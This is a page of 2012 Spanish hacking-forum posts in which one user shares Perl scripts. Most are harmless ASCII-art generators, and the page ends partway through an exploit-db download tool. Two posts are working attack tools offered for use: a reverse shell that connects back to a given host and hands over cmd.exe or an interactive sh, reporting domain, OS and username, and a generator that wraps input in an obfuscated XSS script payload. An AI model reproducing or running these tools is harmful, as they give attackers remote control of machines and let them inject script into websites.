elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: 1 ... 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [29] 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 ... 55
281  Programación / Scripting / [Perl] XSS Generator 0.2 en: 9 Octubre 2012, 03:21 am
Cortisimo pero util script xDD.

Código
  1. #!usr/bin/perl
  2. #XSS Generator 0.2
  3. #Coded By Doddy H
  4.  
  5. head();
  6.  
  7. print "\n[+] Enter the code : ";
  8. $code = <STDIN>;
  9. chomp $code;
  10. if ( $code ne "" ) {
  11.     print "\n\n[XSS] : <script>var code =String.fromCharCode("
  12.       . encode($code)
  13.       . "); document.write(code);</script>\n";
  14. }
  15.  
  16. copyright();
  17.  
  18. sub head {
  19.     print "\n\n-- == XSS Generator 0.2 == --\n\n";
  20. }
  21.  
  22. sub copyright {
  23.     print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
  24.     <stdin>;
  25.     exit(1);
  26. }
  27.  
  28. sub encode {
  29.     return join ',', unpack "U*", $_[0];
  30. }
  31.  
  32. #The End ?
  33.  
282  Programación / Scripting / [Perl] Reverse Shell 0.2 en: 9 Octubre 2012, 03:05 am
Version mejorada de este script.

Código
  1. #!usr/bin/perl
  2. #Reverse Shell 0.2
  3. #Coded By Doddy H
  4. #Command : nc -lvvp 666
  5.  
  6. use IO::Socket;
  7.  
  8. print "\n== -- Reverse Shell 0.2 - Doddy H 2012 -- ==\n\n";
  9.  
  10. unless ( @ARGV == 2 ) {
  11.     print "[Sintax] : $0 <host> <port>\n\n";
  12.     exit(1);
  13. }
  14. else {
  15.     print "[+] Starting the connection\n";
  16.     print "[+] Enter in the system\n";
  17.     print "[+] Enjoy !!!\n\n";
  18.     conectar( $ARGV[0], $ARGV[1] );
  19.     tipo();
  20. }
  21.  
  22. sub conectar {
  23.     socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
  24.     connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
  25.     open( STDIN,  ">&REVERSE" );
  26.     open( STDOUT, ">&REVERSE" );
  27.     open( STDERR, ">&REVERSE" );
  28. }
  29.  
  30. sub tipo {
  31.     print "\n[+] Reverse Shell Starting...\n\n";
  32.     if ( $^O =~ /Win32/ig ) {
  33.         infowin();
  34.         system("cmd.exe");
  35.     }
  36.     else {
  37.         infolinux();
  38.         system("export TERM=xterm;exec sh -i");
  39.     }
  40. }
  41.  
  42. sub infowin {
  43.     print "[+] Domain Name : " . Win32::DomainName() . "\n";
  44.     print "[+] OS Version : " . Win32::GetOSName() . "\n";
  45.     print "[+] Username : " . Win32::LoginName() . "\n\n\n";
  46. }
  47.  
  48. sub infolinux {
  49.     print "[+] System information\n\n";
  50.     system("uname -a");
  51.     print "\n\n";
  52. }
  53.  
  54. #The End ?
  55.  
283  Programación / Scripting / [Perl Tk] ASCII Art 0.2 en: 5 Octubre 2012, 00:30 am
Version Tk de esta nueva version de este script para hacer ascii art desde una palabra.

Una imagen


El codigo

Código
  1. #!usr/bin/perl
  2. #ASCII Art 0.2
  3. #Version Tk
  4. #Coded By Doddy H
  5. #
  6. #http://search.cpan.org/~lory/Text-Banner-1.00/Banner.pm
  7. #
  8.  
  9. use Tk;
  10. use Tk::Dialog;
  11. use Text::Banner;
  12.  
  13. #if ( $^O eq 'MSWin32' ) {
  14. #use Win32::Console;
  15. #Win32::Console::Free();
  16. #}
  17.  
  18. my $color_fondo = "black";
  19. my $color_texto = "green";
  20.  
  21. my $ven =
  22.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  23. $ven->title("ASCII Art 0.2 || Written By Doddy H");
  24. $ven->geometry("555x305+20+20");
  25. $ven->resizable( 0, 0 );
  26.  
  27. my $start = Text::Banner->new;
  28.  
  29. $menula = $ven->Frame(
  30.     -relief     => "sunken",
  31.     -bd         => 1,
  32.     -background => $color_fondo,
  33.     -foreground => $color_texto
  34. );
  35. my $menulnowaxm = $menula->Menubutton(
  36.     -text             => "Options",
  37.     -underline        => 1,
  38.     -background       => $color_fondo,
  39.     -foreground       => $color_texto,
  40.     -activebackground => $color_texto
  41. )->pack( -side => "left" );
  42. my $aboutnowaxm = $menula->Menubutton(
  43.     -text             => "About",
  44.     -underline        => 1,
  45.     -background       => $color_fondo,
  46.     -foreground       => $color_texto,
  47.     -activebackground => $color_texto
  48. )->pack( -side => "left" );
  49. my $exitnowaxm = $menula->Menubutton(
  50.     -text             => "Exit",
  51.     -underline        => 1,
  52.     -background       => $color_fondo,
  53.     -foreground       => $color_texto,
  54.     -activebackground => $color_texto
  55. )->pack( -side => "left" );
  56. $menula->pack( -side => "top", -fill => "x" );
  57.  
  58. $menulnowaxm->command(
  59.     -label      => "Scan",
  60.     -background => $color_fondo,
  61.     -foreground => $color_texto,
  62.     -command    => \&now
  63. );
  64.  
  65. $aboutnowaxm->command(
  66.     -label      => "About",
  67.     -background => $color_fondo,
  68.     -foreground => $color_texto,
  69.     -command    => \&about
  70. );
  71.  
  72. $exitnowaxm->command(
  73.     -label      => "Exit",
  74.     -background => $color_fondo,
  75.     -foreground => $color_texto,
  76.     -command    => \&exitnow
  77. );
  78.  
  79. my $fondo = $ven->Text(
  80.     -width      => 75,
  81.     -heigh      => 15,
  82.     -background => $color_fondo,
  83.     -foreground => $color_texto
  84. )->place( -x => 12, -y => 40 );
  85. $ven->Label(
  86.     -text       => "Text : ",
  87.     -font       => "Impact1",
  88.     -background => $color_fondo,
  89.     -foreground => $color_texto
  90. )->place( -x => 20, -y => 265 );
  91. my $tengo = $ven->Entry(
  92.     -width      => 40,
  93.     -background => $color_fondo,
  94.     -foreground => $color_texto
  95. )->place( -x => 66, -y => 269 );
  96.  
  97. $ven->Label(
  98.     -text       => "Fill : ",
  99.     -font       => "Impact1",
  100.     -background => $color_fondo,
  101.     -foreground => $color_texto
  102. )->place( -x => 340, -y => 265 );
  103. my $fi = $ven->Entry(
  104.     -width      => 5,
  105.     -background => $color_fondo,
  106.     -foreground => $color_texto
  107. )->place( -x => 375, -y => 269 );
  108.  
  109. MainLoop;
  110.  
  111. sub about {
  112.     $ven->Dialog(
  113.         -title            => "About",
  114.         -buttons          => ["OK"],
  115.         -text             => "Coded By Doddy H",
  116.         -background       => $color_fondo,
  117.         -foreground       => $color_texto,
  118.         -activebackground => $color_texto
  119.     )->Show();
  120. }
  121.  
  122. sub exitnow {
  123.     exit(1);
  124. }
  125.  
  126. sub artnow {
  127.  
  128.     $start->set( $tengo->get );
  129.     $start->fill( $fi->get );
  130.  
  131.     return $start->get;
  132.  
  133. }
  134.  
  135. sub now {
  136.  
  137.     $fondo->delete( "0.1", "end" );
  138.  
  139.     my $now  = $tengo->get;
  140.     my $code = artnow($now);
  141.  
  142.     $fondo->insert( "end", $code );
  143.  
  144. }
  145.  
  146. #The End ?
  147.  
284  Programación / Scripting / [Perl] ASCII Art 0.2 en: 5 Octubre 2012, 00:29 am
Una posible version mejorada de este script para hacer ascii art desde una palabra.

El codigo

Código
  1. #!usr/bin/perl
  2. #ASCII Art 0.2
  3. #Coded By Doddy H
  4. #
  5. #http://search.cpan.org/~lory/Text-Banner-1.00/Banner.pm
  6. #
  7.  
  8. use Text::Banner;
  9. use Time::HiRes "usleep";
  10.  
  11. my $start = Text::Banner->new;
  12.  
  13. sub head {
  14.  
  15.     my @logo = (
  16.         "#=============================================#", "\n",
  17.         "#            ASCII Art 0.2                    #", "\n",
  18.         "#---------------------------------------------#", "\n",
  19.         "# Written By Doddy H                          #", "\n",
  20.         "# Email: lepuke[at]hotmail[com]               #", "\n",
  21.         "# Website: doddyhackman.webcindario.com       #", "\n",
  22.         "#---------------------------------------------#", "\n",
  23.         "# The End ?                                   #", "\n",
  24.         "#=============================================#", "\n"
  25.     );
  26.  
  27.     print "\n";
  28.     marquesina(@logo);
  29.  
  30. }
  31.  
  32. head();
  33.  
  34. print "\n\n[+] Text : ";
  35. chomp( my $text = <stdin> );
  36.  
  37. print "\n\n[+] Fill : ";
  38. chomp( my $fill = <stdin> );
  39.  
  40. print "\n\n\n" . artnow( $text, $fill ) . "\n";
  41.  
  42. copyright();
  43.  
  44. sub artnow {
  45.  
  46.     $start->set( $_[0] );
  47.     $start->fill( $_[1] );
  48.  
  49.     return $start->get;
  50.  
  51. }
  52.  
  53. sub marquesina {
  54.  
  55.     #Effect based in the exploits by Jafer Al Zidjali
  56.  
  57.     my @logo = @_;
  58.  
  59.     my $car = "|";
  60.  
  61.     for my $uno (@logo) {
  62.         for my $dos ( split //, $uno ) {
  63.  
  64.             $|++;
  65.  
  66.             if ( $car eq "|" ) {
  67.                 mostrar( "\b" . $dos . $car, "/" );
  68.             }
  69.             elsif ( $car eq "/" ) {
  70.                 mostrar( "\b" . $dos . $car, "-" );
  71.             }
  72.             elsif ( $car eq "-" ) {
  73.                 mostrar( "\b" . $dos . $car, "\\" );
  74.             }
  75.             else {
  76.                 mostrar( "\b" . $dos . $car, "|" );
  77.             }
  78.             usleep(40_000);
  79.         }
  80.         print "\b ";
  81.     }
  82.  
  83.     sub mostrar {
  84.         print $_[0];
  85.         $car = $_[1];
  86.     }
  87.  
  88. }
  89.  
  90. sub copyright {
  91.  
  92.     print "\n\n";
  93.  
  94.     marquesina("-- == (C) Doddy Hackman 2012 == --");
  95.  
  96.     print "\n\n";
  97.  
  98.     <stdin>;
  99.     exit(1);
  100. }
  101.  
  102. #The End ?
  103.  

Un ejemplo de uso

Código:


r00t ~ # art2.pl



#=============================================#
#            ASCII Art 0.2                    #
#---------------------------------------------#
# Written By Doddy H                          #
# Email: lepuke[at]hotmail[com]               #
# Website: doddyhackman.webcindario.com       #
#---------------------------------------------#
# The End ?                                   #
#=============================================#


[+] Text : hacked


[+] Fill : #




 #    #    ##     ####   #    #  ######  #####
 #    #   #  #   #    #  #   #   #       #    #
 ######  #    #  #       ####    #####   #    #
 #    #  ######  #       #  #    #       #    #
 #    #  #    #  #    #  #   #   #       #    #
 #    #  #    #   ####   #    #  ######  #####




-- == (C) Doddy Hackman 2012 == --
285  Programación / Scripting / Re: [Perl Tk] ASCII Art 0.1 en: 3 Octubre 2012, 01:44 am
quizas para la version 0.3 porque para la 0.2 tenia pensado usar un modulo de cpan que me ahorra hacer ese hash infernal aunque el estilo del modulo ese no sea tan bueno como el de este script.
286  Programación / Scripting / [Perl Tk] ASCII Art 0.1 en: 3 Octubre 2012, 01:14 am
Version Tk de este simple script para hacer ASCII Art desde una palabra.

El codigo

Código
  1. #!usr/bin/perl
  2. #ASCII Art 0.1
  3. #Version Tk
  4. #Coded By Doddy H
  5. #Thanks to : reLlene,MARKO,explorer
  6.  
  7. use Tk;
  8. use Tk::Dialog;
  9. use List::Util "max";
  10.  
  11. if ( $^O eq 'MSWin32' ) {
  12.     use Win32::Console;
  13.     Win32::Console::Free();
  14. }
  15.  
  16. my %letras = (
  17.  
  18.     a => "         
  19.    @   
  20.    @   
  21.   @ @  
  22.   @ @  
  23.  @   @ 
  24.  @   @ 
  25.  @@@@@ 
  26. @     @
  27. @     @
  28. ",
  29.  
  30.     b => "
  31.  @@@@ 
  32.  @   @
  33.  @   @
  34.  @   @
  35.  @@@@ 
  36.  @   @
  37.  @   @
  38.  @   @
  39.  @@@@ 
  40. ",
  41.  
  42.     c => "
  43.   @@@@ 
  44.  @    @
  45.  @     
  46.  @     
  47.  @     
  48.  @     
  49.  @     
  50.  @    @
  51.   @@@@ 
  52. ",
  53.  
  54.     d => "
  55.  @@@@  
  56.  @   @ 
  57.  @    @
  58.  @    @
  59.  @    @
  60.  @    @
  61.  @    @
  62.  @   @ 
  63.  @@@@  
  64. ",
  65.  
  66.     e => "
  67.  @@@@@
  68.  @    
  69.  @    
  70.  @    
  71.  @@@@ 
  72.  @    
  73.  @    
  74.  @    
  75.  @@@@@
  76. ",
  77.     f => "
  78.  @@@@@
  79.  @    
  80.  @    
  81.  @    
  82.  @@@@ 
  83.  @    
  84.  @    
  85.  @    
  86.  @    
  87. ",
  88.     g => "
  89.   @@@@ 
  90.  @    @
  91.  @     
  92.  @     
  93.  @  @@@
  94.  @    @
  95.  @    @
  96.  @   @@
  97.   @@@ @
  98. ",
  99.     h => "
  100.  @    @
  101.  @    @
  102.  @    @
  103.  @    @
  104.  @@@@@@
  105.  @    @
  106.  @    @
  107.  @    @
  108.  @    @
  109. ",
  110.     i => "
  111.  @
  112.  @
  113.  @
  114.  @
  115.  @
  116.  @
  117.  @
  118.  @
  119.  @
  120. ",
  121.     j => "
  122.    @
  123.    @
  124.    @
  125.    @
  126.    @
  127.    @
  128. @  @
  129. @  @
  130.  @@ 
  131. ",
  132.     k => "
  133.  @   @ 
  134.  @  @  
  135.  @ @   
  136.  @@    
  137.  @@    
  138.  @ @   
  139.  @  @  
  140.  @   @ 
  141.  @    @
  142. ",
  143.     l => "
  144.  @    
  145.  @    
  146.  @    
  147.  @    
  148.  @    
  149.  @    
  150.  @    
  151.  @    
  152.  @@@@@
  153. ",
  154.     m => "
  155.  @     @
  156.  @     @
  157.  @@   @@
  158.  @@   @@
  159.  @ @ @ @
  160.  @ @ @ @
  161.  @  @  @
  162.  @  @  @
  163.  @     @
  164. ",
  165.     n => "
  166.  @    @
  167.  @@   @
  168.  @@   @
  169.  @ @  @
  170.  @ @  @
  171.  @  @ @
  172.  @   @@
  173.  @   @@
  174.  @    @
  175. ",
  176.     o => "
  177.   @@@@ 
  178.  @    @
  179.  @    @
  180.  @    @
  181.  @    @
  182.  @    @
  183.  @    @
  184.  @    @
  185.   @@@@ 
  186. ",
  187.     p => "
  188.  @@@@@ 
  189.  @    @
  190.  @    @
  191.  @    @
  192.  @@@@@ 
  193.  @     
  194.  @     
  195.  @     
  196.  @     
  197. ",
  198.     q => "
  199.   @@@@ 
  200.  @    @
  201.  @    @
  202.  @    @
  203.  @    @
  204.  @    @
  205.  @  @ @
  206.  @   @@
  207.   @@@@ 
  208.       @
  209. ",
  210.     r => "
  211.  @@@@@ 
  212.  @    @
  213.  @    @
  214.  @    @
  215.  @@@@@ 
  216.  @    @
  217.  @    @
  218.  @    @
  219.  @    @
  220. ",
  221.     s => "
  222.   @@@ 
  223.  @   @
  224.  @    
  225.  @    
  226.   @@@ 
  227.      @
  228.      @
  229.  @   @
  230.   @@@ 
  231. ",
  232.     t => "
  233.  @@@@@
  234.    @  
  235.    @  
  236.    @  
  237.    @  
  238.    @  
  239.    @  
  240.    @  
  241.    @  
  242. ",
  243.     u => "
  244.  @    @
  245.  @    @
  246.  @    @
  247.  @    @
  248.  @    @
  249.  @    @
  250.  @    @
  251.  @    @
  252.   @@@@ 
  253. ",
  254.     v => "
  255. @     @
  256. @     @
  257.  @   @ 
  258.  @   @ 
  259.  @   @ 
  260.   @ @  
  261.   @ @  
  262.    @   
  263.    @   
  264. ",
  265.     W => "
  266. @         @
  267. @         @
  268.  @   @   @ 
  269.  @   @   @ 
  270.  @   @   @ 
  271.   @ @ @ @  
  272.   @ @ @ @  
  273.    @   @   
  274.    @   @   
  275. ",
  276.     x => "
  277. @     @
  278. @     @
  279.  @   @ 
  280.   @ @  
  281.    @   
  282.   @ @  
  283.  @   @ 
  284. @     @
  285. @     @
  286. ",
  287.     y => "
  288. @     @
  289. @     @
  290.  @   @ 
  291.   @ @  
  292.    @   
  293.    @   
  294.    @   
  295.    @   
  296.    @   
  297. ",
  298.     z => "
  299. @@@@@@@
  300.       @
  301.      @ 
  302.     @  
  303.    @   
  304.   @    
  305.  @     
  306. @      
  307. @@@@@@@
  308. "
  309.  
  310. );
  311.  
  312. my $color_fondo = "black";
  313. my $color_texto = "green";
  314.  
  315. my $ven =
  316.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  317. $ven->title("ASCII Art 0.1 || Written By Doddy H");
  318. $ven->geometry("555x300+20+20");
  319. $ven->resizable( 0, 0 );
  320.  
  321. my $fondo = $ven->Text(
  322.     -width      => 75,
  323.     -heigh      => 15,
  324.     -background => $color_fondo,
  325.     -foreground => $color_texto
  326. )->place( -x => 15, -y => 10 );
  327. $ven->Label(
  328.     -text       => "Text : ",
  329.     -font       => "Impact1",
  330.     -background => $color_fondo,
  331.     -foreground => $color_texto
  332. )->place( -x => 20, -y => 250 );
  333. my $tengo = $ven->Entry(
  334.     -width      => 40,
  335.     -background => $color_fondo,
  336.     -foreground => $color_texto
  337. )->place( -x => 66, -y => 254 );
  338. $ven->Button(
  339.     -command          => \&now,
  340.     -text             => "Now!",
  341.     -width            => 10,
  342.     -background       => $color_fondo,
  343.     -foreground       => $color_texto,
  344.     -activebackground => $color_texto
  345. )->place( -x => 320, -y => 252 );
  346. $ven->Button(
  347.     -command          => \&about,
  348.     -text             => "About",
  349.     -width            => 10,
  350.     -background       => $color_fondo,
  351.     -foreground       => $color_texto,
  352.     -activebackground => $color_texto
  353. )->place( -x => 395, -y => 252 );
  354. $ven->Button(
  355.     -command          => \&exitnow,
  356.     -text             => "Exit",
  357.     -width            => 10,
  358.     -background       => $color_fondo,
  359.     -foreground       => $color_texto,
  360.     -activebackground => $color_texto
  361. )->place( -x => 470, -y => 252 );
  362.  
  363. MainLoop;
  364.  
  365. sub about {
  366.     $ven->Dialog(
  367.         -title            => "About",
  368.         -buttons          => ["OK"],
  369.         -text             => "Coded By Doddy H",
  370.         -background       => $color_fondo,
  371.         -foreground       => $color_texto,
  372.         -activebackground => $color_texto
  373.     )->Show();
  374. }
  375.  
  376. sub exitnow {
  377.     exit(1);
  378. }
  379.  
  380. sub now {
  381.  
  382.     $fondo->delete( "0.1", "end" );
  383.  
  384.     my $now  = $tengo->get;
  385.     my $code = artnow($now);
  386.  
  387.     $fondo->insert( "end", $code );
  388.  
  389. }
  390.  
  391. sub artnow {
  392.  
  393.     my $target = shift;
  394.  
  395.     my $fondo   = " ";
  396.     my $espacio = 0;
  397.  
  398.     my $lugar;
  399.     my @lotengo;
  400.  
  401.     my $tipox = $letras{"a"};
  402.     my @lineas = split /\n/, $tipox;
  403.     $altura = @lineas + 1;
  404.  
  405.     $anchura = max map { length $_ } @lineas;
  406.  
  407.     for ( 1 .. $altura ) {
  408.         push @lotengo, $fondo x ( ( $anchura + $espacio ) * length $target );
  409.     }
  410.  
  411.     for my $letra ( split //, $target ) {
  412.         my @lineas = split /\n/, $letras{$letra};
  413.  
  414.         for my $i ( 0 .. $altura - 1 ) {
  415.             ( my $plan = $lineas[$i] ) =~ s/ /$fondo/g;
  416.  
  417.             $plan = $fondo x $anchura if not $plan;
  418.  
  419.             substr( $lotengo[$i], $lugar, length $plan ) = $plan;
  420.         }
  421.  
  422.         $lugar += $anchura + $espacio;
  423.     }
  424.  
  425.     return ( join "\n", @lotengo );
  426.  
  427. }
  428.  
  429. #The End ?
  430.  

Una imagen
287  Programación / Scripting / [Perl] ASCII Art 0.1 en: 3 Octubre 2012, 01:14 am
Sin mucho que decir dejo este simple script para hacer ascii art desde una palabra.

El codigo

Código
  1. #!usr/bin/perl
  2. #ASCII Art 0.1
  3. #Coded By Doddy H
  4.  
  5. use List::Util "max";
  6. use Time::HiRes "usleep";
  7.  
  8. my %letras = (
  9.  
  10.     a => "         
  11.    @   
  12.    @   
  13.   @ @  
  14.   @ @  
  15.  @   @ 
  16.  @   @ 
  17.  @@@@@ 
  18. @     @
  19. @     @
  20. ",
  21.  
  22.     b => "
  23.  @@@@ 
  24.  @   @
  25.  @   @
  26.  @   @
  27.  @@@@ 
  28.  @   @
  29.  @   @
  30.  @   @
  31.  @@@@ 
  32. ",
  33.  
  34.     c => "
  35.   @@@@ 
  36.  @    @
  37.  @     
  38.  @     
  39.  @     
  40.  @     
  41.  @     
  42.  @    @
  43.   @@@@ 
  44. ",
  45.  
  46.     d => "
  47.  @@@@  
  48.  @   @ 
  49.  @    @
  50.  @    @
  51.  @    @
  52.  @    @
  53.  @    @
  54.  @   @ 
  55.  @@@@  
  56. ",
  57.  
  58.     e => "
  59.  @@@@@
  60.  @    
  61.  @    
  62.  @    
  63.  @@@@ 
  64.  @    
  65.  @    
  66.  @    
  67.  @@@@@
  68. ",
  69.     f => "
  70.  @@@@@
  71.  @    
  72.  @    
  73.  @    
  74.  @@@@ 
  75.  @    
  76.  @    
  77.  @    
  78.  @    
  79. ",
  80.     g => "
  81.   @@@@ 
  82.  @    @
  83.  @     
  84.  @     
  85.  @  @@@
  86.  @    @
  87.  @    @
  88.  @   @@
  89.   @@@ @
  90. ",
  91.     h => "
  92.  @    @
  93.  @    @
  94.  @    @
  95.  @    @
  96.  @@@@@@
  97.  @    @
  98.  @    @
  99.  @    @
  100.  @    @
  101. ",
  102.     i => "
  103.  @
  104.  @
  105.  @
  106.  @
  107.  @
  108.  @
  109.  @
  110.  @
  111.  @
  112. ",
  113.     j => "
  114.    @
  115.    @
  116.    @
  117.    @
  118.    @
  119.    @
  120. @  @
  121. @  @
  122.  @@ 
  123. ",
  124.     k => "
  125.  @   @ 
  126.  @  @  
  127.  @ @   
  128.  @@    
  129.  @@    
  130.  @ @   
  131.  @  @  
  132.  @   @ 
  133.  @    @
  134. ",
  135.     l => "
  136.  @    
  137.  @    
  138.  @    
  139.  @    
  140.  @    
  141.  @    
  142.  @    
  143.  @    
  144.  @@@@@
  145. ",
  146.     m => "
  147.  @     @
  148.  @     @
  149.  @@   @@
  150.  @@   @@
  151.  @ @ @ @
  152.  @ @ @ @
  153.  @  @  @
  154.  @  @  @
  155.  @     @
  156. ",
  157.     n => "
  158.  @    @
  159.  @@   @
  160.  @@   @
  161.  @ @  @
  162.  @ @  @
  163.  @  @ @
  164.  @   @@
  165.  @   @@
  166.  @    @
  167. ",
  168.     o => "
  169.   @@@@ 
  170.  @    @
  171.  @    @
  172.  @    @
  173.  @    @
  174.  @    @
  175.  @    @
  176.  @    @
  177.   @@@@ 
  178. ",
  179.     p => "
  180.  @@@@@ 
  181.  @    @
  182.  @    @
  183.  @    @
  184.  @@@@@ 
  185.  @     
  186.  @     
  187.  @     
  188.  @     
  189. ",
  190.     q => "
  191.   @@@@ 
  192.  @    @
  193.  @    @
  194.  @    @
  195.  @    @
  196.  @    @
  197.  @  @ @
  198.  @   @@
  199.   @@@@ 
  200.       @
  201. ",
  202.     r => "
  203.  @@@@@ 
  204.  @    @
  205.  @    @
  206.  @    @
  207.  @@@@@ 
  208.  @    @
  209.  @    @
  210.  @    @
  211.  @    @
  212. ",
  213.     s => "
  214.   @@@ 
  215.  @   @
  216.  @    
  217.  @    
  218.   @@@ 
  219.      @
  220.      @
  221.  @   @
  222.   @@@ 
  223. ",
  224.     t => "
  225.  @@@@@
  226.    @  
  227.    @  
  228.    @  
  229.    @  
  230.    @  
  231.    @  
  232.    @  
  233.    @  
  234. ",
  235.     u => "
  236.  @    @
  237.  @    @
  238.  @    @
  239.  @    @
  240.  @    @
  241.  @    @
  242.  @    @
  243.  @    @
  244.   @@@@ 
  245. ",
  246.     v => "
  247. @     @
  248. @     @
  249.  @   @ 
  250.  @   @ 
  251.  @   @ 
  252.   @ @  
  253.   @ @  
  254.    @   
  255.    @   
  256. ",
  257.     W => "
  258. @         @
  259. @         @
  260.  @   @   @ 
  261.  @   @   @ 
  262.  @   @   @ 
  263.   @ @ @ @  
  264.   @ @ @ @  
  265.    @   @   
  266.    @   @   
  267. ",
  268.     x => "
  269. @     @
  270. @     @
  271.  @   @ 
  272.   @ @  
  273.    @   
  274.   @ @  
  275.  @   @ 
  276. @     @
  277. @     @
  278. ",
  279.     y => "
  280. @     @
  281. @     @
  282.  @   @ 
  283.   @ @  
  284.    @   
  285.    @   
  286.    @   
  287.    @   
  288.    @   
  289. ",
  290.     z => "
  291. @@@@@@@
  292.       @
  293.      @ 
  294.     @  
  295.    @   
  296.   @    
  297.  @     
  298. @      
  299. @@@@@@@
  300. "
  301.  
  302. );
  303.  
  304. head();
  305.  
  306. print "\n\n[+] Text : ";
  307. chomp( my $text = <stdin> );
  308.  
  309. print "\n\n" . artnow($text) . "\n";
  310.  
  311. copyright();
  312.  
  313. sub artnow {
  314.  
  315.     my $target = shift;
  316.  
  317.     my $fondo   = " ";
  318.     my $espacio = 0;
  319.  
  320.     my $lugar;
  321.     my @lotengo;
  322.  
  323.     my $tipox = $letras{"a"};
  324.     my @lineas = split /\n/, $tipox;
  325.     $altura = @lineas + 1;
  326.  
  327.     $anchura = max map { length $_ } @lineas;
  328.  
  329.     for ( 1 .. $altura ) {
  330.         push @lotengo, $fondo x ( ( $anchura + $espacio ) * length $target );
  331.     }
  332.  
  333.     for my $letra ( split //, $target ) {
  334.         my @lineas = split /\n/, $letras{$letra};
  335.  
  336.         for my $i ( 0 .. $altura - 1 ) {
  337.             ( my $plan = $lineas[$i] ) =~ s/ /$fondo/g;
  338.  
  339.             $plan = $fondo x $anchura if not $plan;
  340.  
  341.             substr( $lotengo[$i], $lugar, length $plan ) = $plan;
  342.         }
  343.  
  344.         $lugar += $anchura + $espacio;
  345.     }
  346.  
  347.     return ( join "\n", @lotengo );
  348.  
  349. }
  350.  
  351. sub head {
  352.  
  353.     my @logo = (
  354.         "#=============================================#", "\n",
  355.         "#            ASCII Art 0.1                    #", "\n",
  356.         "#---------------------------------------------#", "\n",
  357.         "# Written By Doddy H                          #", "\n",
  358.         "# Email: lepuke[at]hotmail[com]               #", "\n",
  359.         "# Website: doddyhackman.webcindario.com       #", "\n",
  360.         "#---------------------------------------------#", "\n",
  361.         "# Thanks to : reLlene,MARKO,explorer          #", "\n",
  362.         "# The End ?                                   #", "\n",
  363.         "#=============================================#", "\n"
  364.     );
  365.  
  366.     print "\n";
  367.     marquesina(@logo);
  368.  
  369. }
  370.  
  371. sub marquesina {
  372.  
  373.     #Effect based in the exploits by Jafer Al Zidjali
  374.  
  375.     my @logo = @_;
  376.  
  377.     my $car = "|";
  378.  
  379.     for my $uno (@logo) {
  380.         for my $dos ( split //, $uno ) {
  381.  
  382.             $|++;
  383.  
  384.             if ( $car eq "|" ) {
  385.                 mostrar( "\b" . $dos . $car, "/" );
  386.             }
  387.             elsif ( $car eq "/" ) {
  388.                 mostrar( "\b" . $dos . $car, "-" );
  389.             }
  390.             elsif ( $car eq "-" ) {
  391.                 mostrar( "\b" . $dos . $car, "\\" );
  392.             }
  393.             else {
  394.                 mostrar( "\b" . $dos . $car, "|" );
  395.             }
  396.             usleep(40_000);
  397.         }
  398.         print "\b ";
  399.     }
  400.  
  401.     sub mostrar {
  402.         print $_[0];
  403.         $car = $_[1];
  404.     }
  405.  
  406. }
  407.  
  408. sub copyright {
  409.  
  410.     print "\n\n";
  411.  
  412.     marquesina("-- == (C) Doddy Hackman 2012 == --");
  413.  
  414.     print "\n\n";
  415.  
  416.     <stdin>;
  417.     exit(1);
  418. }
  419.  
  420. #The End ?
  421.  

Ejemplo de uso

Código:

r00t ~ # art.pl



#=============================================#
#            ASCII Art 0.1                    #
#---------------------------------------------#
# Written By Doddy H                          #
# Email: lepuke[at]hotmail[com]               #
# Website: doddyhackman.webcindario.com       #
#---------------------------------------------#
# Thanks to : reLlene,MARKO,explorer          #
# The End ?                                   #
#=============================================#


[+] Text : kacked



 @   @      @       @@@@    @   @    @@@@@    @@@@
 @  @       @      @    @   @  @     @        @   @
 @ @       @ @     @        @ @      @        @    @
 @@        @ @     @        @@       @        @    @
 @@       @   @    @        @@       @@@@     @    @
 @ @      @   @    @        @ @      @        @    @
 @  @     @@@@@    @        @  @     @        @    @
 @   @   @     @   @    @   @   @    @        @   @
 @    @  @     @    @@@@    @    @   @@@@@    @@@@



-- == (C) Doddy Hackman 2012 == --
288  Programación / Scripting / [Perl Tk] Exploit DB Helper 0.5 en: 30 Septiembre 2012, 19:34 pm
Version Tk de esta tool para bajar exploits desde exploit-db

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #Exploit DB Helper 0.5
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Tk;
  7. use Tk::Dialog;
  8. use LWP::UserAgent;
  9. use Cwd;
  10.  
  11. my $nave = LWP::UserAgent->new();
  12. $nave->timeout(5);
  13. $nave->agent(
  14. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  15. );
  16.  
  17. #if ($^O eq 'MSWin32') {
  18. #use Win32::Console;
  19. #Win32::Console::Free();
  20. #}
  21.  
  22. my $color_texto = "yellow";
  23. my $color_fondo = "black";
  24.  
  25. my $newdaxz =
  26.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  27.  
  28. $newdaxz->title("Exploit DB Helper 0.5");
  29. $newdaxz->geometry("345x350+50+50");
  30. $newdaxz->resizable( 0, 0 );
  31.  
  32. $menula = $newdaxz->Frame(
  33.     -relief     => "sunken",
  34.     -bd         => 1,
  35.     -background => $color_fondo,
  36.     -foreground => $color_texto
  37. );
  38. my $menulnowaxm = $menula->Menubutton(
  39.     -text             => "Options",
  40.     -underline        => 1,
  41.     -background       => $color_fondo,
  42.     -foreground       => $color_texto,
  43.     -activebackground => $color_texto
  44. )->pack( -side => "left" );
  45. my $aboutnowaxm = $menula->Menubutton(
  46.     -text             => "About",
  47.     -underline        => 1,
  48.     -background       => $color_fondo,
  49.     -foreground       => $color_texto,
  50.     -activebackground => $color_texto
  51. )->pack( -side => "left" );
  52. my $exitnowaxm = $menula->Menubutton(
  53.     -text             => "Exit",
  54.     -underline        => 1,
  55.     -background       => $color_fondo,
  56.     -foreground       => $color_texto,
  57.     -activebackground => $color_texto
  58. )->pack( -side => "left" );
  59. $menula->pack( -side => "top", -fill => "x" );
  60.  
  61. $menulnowaxm->command(
  62.     -label      => "Find",
